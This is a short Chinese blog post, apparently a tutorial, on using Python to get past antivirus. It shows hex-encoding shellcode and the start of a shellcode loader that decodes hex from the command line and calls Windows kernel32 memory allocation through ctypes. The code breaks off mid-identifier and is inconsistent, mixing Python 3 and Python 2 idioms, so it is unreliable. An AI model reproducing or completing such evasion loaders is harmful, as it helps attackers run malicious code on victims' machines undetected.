学习python免杀知识
#字符串转十六进制
python3.7
import codecs
codecs.encode(“shellcode”)
案例:
import ctypes
import sys
import random
decode = sys.argv[1].decode(“hex”)
n=random.randint(0,len(decode)-1)
shellcode = bytearray(decode[:n]+decode[n:])
ptr = ctypes.windll.kernel32.VirtualAl
原创
2022-01-06 15:55:37 ·
170 阅读 ·
0 评论